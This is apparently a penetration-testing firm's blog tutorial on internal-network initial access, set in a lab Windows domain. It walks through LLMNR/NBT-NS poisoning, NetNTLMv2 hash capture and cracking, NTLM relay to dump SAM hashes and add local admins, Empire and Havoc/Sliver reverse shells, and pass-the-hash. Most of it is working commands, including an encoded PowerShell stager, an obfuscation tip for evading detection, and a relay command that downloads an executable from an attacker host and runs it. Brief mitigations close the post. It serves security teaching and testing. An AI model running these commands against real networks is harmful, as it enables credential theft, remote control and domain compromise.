Insider Insights: Strategies For Initial Access In An Internal Pentest Part 1

Introduction

Professional penetration testing ensures that security vulnerabilities are expertly identified and resolved. While it’s important to address the low-hanging fruit vulnerabilities, we believe that comprehensive planning is necessary to address all issues discovered during an internal penetration test. 

It’s essential to go beyond the usual routine of just checking, for example, vulnerable services, outdated software and/or weak passwords, as these may not be the only issues. Therefore, exploring additional techniques, like LLMNR, NBT-NS spoofing, and the NTLM relay attacks, is crucial when gaining initial access and making internal pen testing more effective.

NTLM—NT Lan Manager relay attacks pose a significant threat to the security of Windows-based networks. Despite being a well-known attack method for many years, it remains as dangerous as when it first emerged. It is currently a popular attack method among “aggressive” hacking groups, including the Russian APT28, which has successfully targeted multiple high-value targets worldwide using this technique.

In this blog, we will go through 6 different alternative attacks to gain a foothold:

Let’s take a look at the Windows Name Resolution Process and what needs to happen in the operating system to execute an attack successfully.

Windows operating systems perform name resolution using a combination of Domain Name System (DNS), Link-Local Multicast Name Resolution (LLMNR), and Net-BIOS Name Service (NBT-NS). 

Windows systems prioritize a list of services to resolve name requests as follows:

  • Local DNS host file, aka DNS resolve file and Domain Name Service (DNS)
  • Link-Local Multicast Name Resolution (LLMNR)
  • NetBIOS Name Service (NBT-NS/WINS)

In instances where DNS fails to resolve a hostname, the system will attempt resolution using LLMNR. Should this also prove unsuccessful, it will then resort to NBT-NS. This approach guarantees continued communication with other devices on the local network, even in the absence of a functioning DNS server.

DNS, which stands for Domain Name System, is a distributed and hierarchical naming system that maps domain names to IP addresses on the internet or a private network. Whenever a Windows system needs to resolve a domain name to an IP address or vice versa, it sends a DNS query to a DNS server. The DNS server then responds with the requested information.

LLMNR, or Link-Local Multicast Name Resolution, is a protocol used to resolve the IP addresses of neighboring network nodes on a local network when a DNS server is not available. It operates on a multicast protocol and allows devices to resolve hostnames to IP addresses within the same local network segment. LLMNR is typically used as a fallback mechanism when traditional DNS resolution fails.

Responder, a Python-based penetration testing tool, tricks devices on a network by “poisoning” protocols like LLMNR, NBT-NS, and MDNS, redirecting traffic to the attacker’s machine instead of the intended server. This allows an attacker to capture NetNTLMv2 hashes, which can be cracked to obtain user credentials and gain access to systems.

Attack 1: Capturing NetNTLMv2 Hashes

Pre-requisite steps to perform this attack.

  • LLMNR or NBT-NS MUST be enabled: The environment must have broadcast traffic, such as Link Local Multicast Name Resolution (LLMNR) and NetBIOS Name Resolution (NBT-NS).
  • We can identify if the network is using these protocols by starting Responder in analyze mode by executing the below command:
sudo responder -A -I eth1
  • Verify if SMB signing is disabled. By default, only Windows Domain Controllers have SMB signing enabled; therefore, there must be workstations or servers that do not require it.

Note: To determine whether SMB signing is enabled or not, we can use NetExec with the–gen-relay-list flag or the RunFinger.py Python script tool to compile a list of all SMB servers with signing disabled.

  • Run netexec using the following syntax.
sudo nxc smb 192.168.115.0/24 --gen-relay-list relaylist.txt
  • Runfinger
python3 /usr/share/responder/tools/RunFinger.py -f targets.txt

After the Pre-requisites have been accomplished, we can now move on to the LLMNR poisoning attack using the following command:

sudo responder -I eth1 -v

Note: Understanding that NetNTLMv1/v2 hashes cannot be used in a Pass-The-Hash attack. These hashes can only be used in relay attacks or cracked using Hashcat or John the Ripper and are only used for network authentication through the NTLM challenge-response protocol.

After obtaining the NetNTLMv2 hashes, we can use Hashcat or John the Ripper tools to crack them and obtain the corresponding plaintext passwords.

  • John the Ripper:
sudo john hash.txt --wordlist=/usr/share/john/password.lst
  • Hashcat:
sudo hashcat -m 5600 SMBv2-NTLMv2-rbtsecurity.txt /usr/share/john/password.lst -g 1000

After recovering the password in plaintext, we can use either netexec or impacket-psexec tools to confirm if the credential is valid by performing password spraying.

  • NetExec:
netexec smb 192.168.115.0/24 -u bbarnes -p 'P4s.......'
  • Impacket-psexec:
impacket-psexec hydra/bbarnes:'@Toronto...........'@dc2.hydra.marvel.local

As demonstrated in the images above, the user HYDRA\BBARNES possesses domain admin privileges. We were able to log into Domain ControllerDC2.HYDRA.MARVEL.local successfully.

Note: In this blog, we used a domain admin user, HYDRA\BBARNES, to obtain the password in plaintext. However, in real scenarios, the probability of finding a domain admin user is low.

Attack 2: SAM Dumping Using NTLM Relay

The NTLM relay attack exploits how Windows systems authenticate using the NTLM protocol. In this attack, the attacker intercepts authentication requests and relays them to another server, impersonating the original client. This grants the attacker unauthorized access, allowing for activities like stealing data, elevating privileges, or creating new user accounts with administrative privileges.

  • We must turn off SMB and HTTP services by editing the following configuration file with an editor like Nano or Vim:
vim /etc/responder/Responder.conf

Keep in mind NTLM hashes can be used in a Pass-The-Hash attack. These hashes are stored in the SAM database in the domain controller and can be obtained by dumping the SAM database using different tools such as NTLMRelayx, mitm6, PetitPotam, Printerbug, Responder, and impacket-secretsdump

Once we have turned off SMB and HTTP services, we can execute the attack by entering the below commands.

responder -I eth1 -dwv
impacket-ntlmrelayx -t 192.168.115.156 -of hashes.txt -smb2support

As shown in the image, the wkstn-1_HYDRA.MARVEL.local workstation (192.168.115.142) attempted to access an SMB share, and the tool impacket-ntlmrelayx was authenticated using HYDRA\BBARNES credentials to access the WEB.HYDRA.MARVEL.local (192.168.115.156) and dump the SAM database.

Attack 3: Chaining SMB Connections via Proxy

In this scenario, we will use the -socks or -socks5 parameter to get the SMB connection and then use proxychains to interact with that SMB connection. To use this method, we need to use impacket-ntlmrelayx, proxychains, and impacket-secretsdump

  • We must turn off SMB and HTTP services by editing the following configuration file with an editor like Nano or Vim, along with executing the responder.
vim /etc/responder/Responder.conf
responder -I eth1 -dwv
  • We have two options to execute the impacket-ntlmrelayx tool. The first one is using -socks, and the second one is the -socks5 argument.
impacket-ntlmrelayx -tf /root/MARVEL.local/Chaining-SMB-Connections-via-Proxy/relaylist.txt -smb2support -socks
impacket-ntlmrelayx -tf /root/MARVEL.local/Chaining-SMB-Connections-via-Proxy/relaylist.txt -smb2support -socks5 -debug

On this occasion, we will configure impacket-ntlmrelayx with the SOCKS option; once everything is up and running, we have to wait for an authentication request.

As shown in the image, the wkstn-1_HYDRA.Marvel.local workstation (192.168.115.142) attempted to access an SMB share, and the tool impacket-ntlmrelayx was authenticated using HYDRA\BBARNES credentials to access the WEB.HYDRA.MARVEL.local (192.168.115.156) and SQL2_HYDRA.MARVEL.local (192.168.115.145 ) and created a sock proxy server.

We were able to establish connections to the SMB servers through the SOCKS proxy despite previous failed access attempts. We used the SOCKS command to check for active relay sessions in NTLM Relay and identified the successful SMB connections.

The SOCKS output showed that two active sessions were available, which we could utilize by using the proxychains tool. Ultimately aiding us in retrieving the SAM database by using secretsdump tool.

  • To run proxychains, use the following syntax: 
proxychains impacket-secretsdump hydra/bbarnes@192.168.115.145 -no-pass

We used ProxyChains along with the secretsdump script from Impacket to extract the SAM hashes (NTLM hashes) from the SMB relay session. 

Other attacks can be performed using additional scripts available in the Impacket toolkit without the need for passwords, using the relay credentials. A few examples of scripts that, instead of secretsdump.py, include:

  • impacket-getST 
  • impacket-addcomputer 
  • Impacket-rpcdump
  • impacket-getUserSPNs
  • impacket-getADUser
  • impacket-smbexec
  • impacket-psexec

Attack 4: Executing Remote Commands

In this scenario, we will use the -c parameter to execute remote commands using the NTLM relay attack. This will allow us to run commands on the server side, such as creating a new user and/or adding it to the local administrator groups.

impacket-ntlmrelayx -tf /root/MARVEL.local/execute-remote-commands/relaylist.txt -smb2support -c "net user rbtsecurity StrongP4ssw0rd /add"
impacket-ntlmrelayx -tf /root/MARVEL.local/execute-remote-commands/relaylist.txt -smb2support -c "net localgroup administrators rbtsecurity /add"
impacket-ntlmrelayx -tf /root/MARVEL.local/execute-remote-commands/relaylist.txt -smb2support -c "net user"
  • We must turn off SMB and HTTP services by editing the following configuration file with an editor like Nano or Vim, along with executing the responder.
vim /etc/responder/Responder.conf
responder -I eth1 -v

As shown in the image, the wkstn-1_HYDRA.MARVEL.local workstation (192.168.115.142) attempted to access an SMB share, and the tool impacket-ntlmrelayx was authenticated using HYDRA\BBARNES credentials to access the WEB.HYDRA.MARVEL.local (192.168.115.156) and executed the “net user” command remotely.

Attack 5: Obtain a Reverse Shell via a Powershell

In this scenario, we will use a non-commercial C2 framework called Empire which is a post-exploitation framework that allows us to execute commands and scripts on compromised Windows systems. 

This will allow us to access the victim machine by obtaining an Agent

  • We must turn off SMB and HTTP services by editing the following configuration file with an editor like Nano or Vim, along with executing the responder.
vim /etc/responder/Responder.conf
responder -I eth1 -v

To use Empire, we first need to install it on our attacking machine. 

  • Once installed, we can start the Empire listener, which will listen for incoming connections from agents. 
  • Configure NTLM Relay: Start the NTLM Relay tool on the attacking machine. 
  • Use the PowerShell payload generated by the Empire with the impacket-ntlmrelayx tool using the -c parameter.
  • To start with PowerShell Empire, we must first install it on the attacker machine by running the below commands:
sudo apt update && sudo apt upgrade
sudo apt install powershell-empire

Next, run the command “sudo powershell-empire server” to start the PowerShell Empire Server. 

To connect to the server using the Empire Client, enter “sudo powershell-empire client” in a new terminal window.

PowerShell Empire Stagers connect to the Empire Server and interact with and control compromised systems. To allow Stagers to connect to the server, we need to create a Listener for them to connect back to. These Listeners will “listen” for a connection from an Empire Stager and generate an Agent when a Stager connects.

To set up a Listener in PowerShell Empire, run the command uselistener http followed by the name of the Listener we want to use. To get a list of all the possible Listeners we can use, run the command uselistener and tab through the available options.

To use the http Listener, type uselistener http.

This will create a Listener on port number 80 of the Empire Server and show all the options options being used.

Adjusting these options allows us to customize the Listener. For example, to change the listener’s name, run set Name Initial-Access, to change the network port type, set Port 80 and set Host 192.168.115.138. To save these options and start the Listener, run the execute command.

We can then re-inspect the Listener’s options by running the command options.

We can execute the command back to return from the Listener’s interface. The command listeners allow us to view all active Listeners on the Empire Server.

Now that our Listener is up and running, we must create a Stager. A Stager is a code that executes a payload on the target machine, which connects back to our Listener. This payload contains the functionality needed to generate an Agent that lets us remotely control the compromised system while initiating the Encrypted Key Exchange protocol to protect the C2 communication.

PowerShell Empire includes several different types of Stagers:

  • Malicious scripts (.bat, .hta, .vbs, etc.)
  • Dynamic Link Libraries (DLLs)
  • Executables (.exe)
  • Shellcode
  • Powershell One-Liner
  • Microsoft Office macros
  • Cross-platform stagers for Linux and macOS

To create a Stager, run the command usestager followed by the name of the Stager (multi_launcher) we want to create. In this case, usestager multi_launcher. To get a list of all the possible Stagers we can use, run the command usestager and tab through the available options.

To use the multi_launcher Stager, run the command usestager multi_launcher. This is a one-liner stage0 launcher for Empire.

We can change the configuration of this Stager. To see what we can change, run the command options, then use the set command followed by the option we want to change. For example, to attach the Stager to the Listener we previously created, run the command set Listener Initial-Access. Optional, obfuscate the PowerShell launcher code to evade network detection by setting Obfuscate True. Finally, type execute to save the settings and generate the Stager.

Executing the execute command creates the listener and stager. The final step is to execute the powershell one-liner (Stager) we created on the target system. Once it connects to the Empire Server, it generates a new agent, allowing us to control the target machine remotely.

Back in PowerShell Empire, type agents to see a list of active Agents.

Once we have created the powershell one-liner, we will be in a position to execute the NTLM relay using responder + impacket-ntlmrelayx and Empire – Starkkiller (which can be accessed on http://127.0.0.1:1337/index.html) – Default credentials – empireadmin:password123

  • We must turn off SMB and HTTP services by editing the following configuration file with an editor like nano or vim, along with executing the responder and impacket-ntlmrelayx.
vim /etc/responder/Responder.conf
responder -I eth1 -v
impacket-ntlmrelayx -tf /root/MARVEL.local/execute-remote-commands/relaylist.txt -smb2support -c "powershell -noP -sta -w 1 -enc SQBmA……………"

Once the attacks have been successfully executed, we should see a new agent on the Empire-Starkiller interface ready to start the post-exploitation phase.

As shown in the image, the wkstn-1_HYDRA.Marvel.local workstation (192.168.115.142) attempted to access an SMB share, and the tool impacket-ntlmrelayx was authenticated using HYDRA\BBARNES credentials to access the SQL2_HYDRA.MARVEL.local (192.168.115.145 ) and executed the powershell one-liner.

From this stage, we can execute either basic commands or use Empire modules to continue with the post-exploitation phase.

Attack 6: Obtain a Reverse Shell via an Implant

In this last attack scenario, we will use other non-commercial C2 frameworks called Havoc and Sliver. This post-exploitation framework allows us to execute commands and scripts on compromised Windows systems. 

  • We must turn off SMB and HTTP services by editing the following configuration file with an editor like Nano or Vim, along with executing the responder.
vim /etc/responder/Responder.conf
responder -I eth1 -v

Before executing this attack, we need to set up and configure the Havoc C2 framework following the below steps.

  • Install Havoc & Sliver C2 Frameworks – Not discussed in this blog
  • Set up our attacking machine
  • ​​Havoc Configuration and Start the TeamServer
  • Connect to the server via Havoc client
  • Start Havoc listener
  • Create Havoc payload

Next, we need to set up the Havoc server by executing the following command.

./havoc server --profile ./profiles/havoc.yaotl -v --debug

Afterward, we can use the Havoc client to connect to the server, as shown in the image below.

./Havoc client

The next step is to create an HTTP listener, as shown below.

The last step is to create the implant, as is shown below.

Executing the Attack with Havoc & Sliver

  • We must turn off SMB and HTTP services by editing the following configuration file with an editor like nano or vim, along with executing the responder and impacket-ntlmrelayx.
vim /etc/responder/Responder.conf
responder -I eth1 -v
impacket-ntlmrelayx -tf relaylist.txt -smb2support -c "powershell.exe -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.115.138:8000/deamon.exe', 'C:\deamon.exe'); Start-Process 'C:\deamon.exe'"

As shown in previous images, the wkstn-1_HYDRA.Marvel.local workstation (192.168.115.142) attempted to access an SMB share, and the tool impacket-ntlmrelayx was authenticated using HYDRA\BBARNES credentials to access the SQL2_HYDRA.MARVEL.local (192.168.115.145 ) and executed the Havoc and Sliver Implants.

What to Do If We Have Only the Hash🤔🤔🤔 ??? Pass-The-Hash!

Pass the Hash (PtH) is a type of attack where an intruder intercepts the hashed authentication credentials (like NTLM or LM hashes) from a network and uses them to authenticate to other systems without having to crack the password. This attack is especially effective in Windows environments that use the NTLM authentication protocol. 

evil-winrm -i '10.10.10.10' -u 'username' -H '58a478135a93ac3bf058a5ea0e8f7777'
impacket-secretsdump username@10.10.10.100 -hashes aad321b35b51404eeaad982b5b51404ee:b38ff50264b7458734d82c697955555
impacket-smbclient Administrator@sql2.hydra.marvel.local -hashes aad3b435b51404eeaad3b435b51404ee:5257fd645c0fdbb250ce825a77774922
impacket-psexec Administrator@wkstn-1.hydra.marvel.local -hashes aad3b435b51404eeaad3b435b51404ee:b4835a0ac11d795cd91444b9fa888888
use exploit/windows/smb/psexec

# Set hash as password

set smbpass "aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea88888888"
netexec smb 192.168.115.145 -u Administrator -H "aad3b435b51404eeaad3b435b51404ee:5257fd645c0fdbb250ce825afc222222" --local-auth -M empire_exec -o LISTENER=Initial-Access

Conclusion

As noted earlier, most organizations cannot disable these protocols entirely because other technologies in their environments still depend on them. Instead, organizations need to learn how to manage the risk. While the risk cannot be eliminated, the recommendations below can help mitigate Pass-the-Hash, SMB spoofing, and NTLM relay attacks.

  • Enforce SMB signing.
  • Disable LLMNR/NBT-NS if possible, preventing an attacker from poisoning LLMNR/NBT-NS.
  • Turn on Extended Protection for Authentication (EPA)
  • For services that permit NTLM authentication, ensure that EPA is enabled and SMB signing is required.
  • Implement Microsoft Active Directory Tier Model – The implementation of such a model will help significantly mitigate “Credential Theft” techniques as it could be “Pass-the-Hash” or “Pass-the-ticket,” which are the basis of today’s majority security breaches.

Credits & References

Authors

  • Red Team Lead

    As a security computer expert with over 15 years of experience, he specializes in various areas such as web applications, cloud computing (AWS, Azure & GCP), infrastructure penetration testing, red & purple team assessments, vulnerability analysis, exploit development, and malware analysis. He has conducted numerous successful black-and-grey box penetration testing and adversary emulation engagements throughout his career. He has demonstrated expertise in testing SOAP and RESTful web API services, thick clients, wireless networks, internal/external assessments, SAP ERP servers, ATMs, Tactics Techniques and Procedures (TTPs), and forensics.

  • Chanel Carr

    Professional security architect of multi-clouds, including Amazon Web Services (AWS), Microsoft Azure, and Google GCP, with experience evaluating and testing computer security systems, creating firewalls, improving network security to protect the system further.

  • Asif Khan

    Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.

Share the Post:

Subscribe To Our Newsletter